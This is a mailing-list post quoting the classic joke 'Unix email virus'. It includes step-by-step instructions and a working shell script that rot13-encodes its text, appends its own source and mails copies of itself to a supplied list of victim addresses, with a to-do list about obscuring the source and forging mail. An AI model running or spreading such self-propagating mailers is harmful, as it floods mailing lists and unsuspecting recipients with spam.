[ale] Virus, please run.

[Joe Knapka]

*Snort*  There goes another keyboard....

Ronald Chmara <ron at Opus1.COM> writes:

> Congratulations, you are now the proud recipient of a Unix email virus.
> Now, you no longer have to feel left out from the crowd of Windows
> users,
> who, it seems, get to have all of the fun.
> 
> However, becoming infected by this virus will take a little more
> effort on
> your part, mostly because most Unix operating systems seem to actually
> be
> concerned with security.  Also, since you have a diverse range of mail
> clients you could be running (none of which, as far as I know, could
> automatically execute this virus), I will need a little bit of help from
> you.  Please follow these steps to activate the virus on your machine.
> 
> 1.  Save this message to a file "/tmp/virus.sh".
> 2.  Use a text editor to remove the mail header (above the first "cut
> here"),
>       there is no need to edit away the bottom of the file.
> 3.  Create a file (say "/tmp/addresses") with a list of email
> addresses of
>       target victims, one per line.  For best results, these should
> contain
>       mailing lists, and automatic replay addresses.
> 4.  Execute:  "sh /tmp/virus.sh /tmp/addresses"
> 
> This version of this virus does not need to be run as root.
> 
> ----8<--------8<--------8<---- cut here ----8<--------8<--------8<----
> #! /bin/sh
> #
> # Unix, email virus.
> #
> # Usage:
> #
> #     sh virus.sh address-list
> #
> # where address-list is a list of email addresses to send the virus to.
> #
> # Revision History:
> #   Version 1.0 - simplistic creation of messages.
> #   Version 1.1 - Rot13 the starting text.
> #
> # TODO:
> # - Read addresses in script, so there can be more than 4K of addresses.
> # - Detect which mailer to use.
> # - Obscure the source to make it hard to follow.
> # - Forge mail, instead of just sending it (for a more realistic feel).
> #
> # BTW: In case you don't get it, here's this smliey :-)
> #
> # in case you really don't get it, this is a joke.  If you really follow
> # the steps below, you have no right to complain that the script did
> # exactly what you told it to.
> 
> vname=/tmp/vir$$
> 
> tr a-zA-Z n-za-mN-ZA-M >$vname <<'EOF'
> Pbatenghyngvbaf, lbh ner abj gur cebhq erpvcvrag bs n Havk rznvy ivehf.
> Abj, lbh ab ybatre unir gb srry yrsg bhg sebz gur pebjq bs Jvaqbjf
> hfref,
> jub, vg frrzf, trg gb unir nyy bs gur sha.
> 
> Ubjrire, orpbzvat vasrpgrq ol guvf ivehf jvyy gnxr n yvggyr zber
> rssbeg ba
> lbhe cneg, zbfgyl orpnhfr zbfg Havk bcrengvat flfgrzf frrz gb npghnyyl
> or
> pbaprearq jvgu frphevgl.  Nyfb, fvapr lbh unir n qvirefr enatr bs znvy
> pyvragf lbh pbhyq or ehaavat (abar bs juvpu, nf sne nf V xabj, pbhyq
> nhgbzngvpnyyl rkrphgr guvf ivehf), V jvyy arrq n yvggyr ovg bs uryc sebz
> lbh.  Cyrnfr sbyybj gurfr fgrcf gb npgvingr gur ivehf ba lbhe znpuvar.
> 
> 1.  Fnir guvf zrffntr gb n svyr "/gzc/ivehf.fu".
> 2.  Hfr n grkg rqvgbe gb erzbir gur znvy urnqre (nobir gur svefg "phg
> urer"),
>       gurer vf ab arrq gb rqvg njnl gur obggbz bs gur svyr.
> 3.  Perngr n svyr (fnl "/gzc/nqqerffrf") jvgu n yvfg bs rznvy
> nqqerffrf bs
>       gnetrg ivpgvzf, bar cre yvar.  Sbe orfg erfhygf, gurfr fubhyq
> pbagnva
>       znvyvat yvfgf, naq nhgbzngvp ercynl nqqerffrf.
> 4.  Rkrphgr:  "fu /gzc/ivehf.fu /gzc/nqqerffrf"
> 
> Guvf irefvba bs guvf ivehf qbrf abg arrq gb or eha nf ebbg.
> 
> EOF
> 
> border='----8<----'
> b1='t her'
> echo $border$border$border cu${b1}e $border$border$border >> $vname
> 
> cat $0 >> $vname
> 
> for i in `cat $1`; do
>     Mail -s 'Unix Virus' $i < $vname
> done
> 
> rm $vname
> exit 0
> # End of script.
> 
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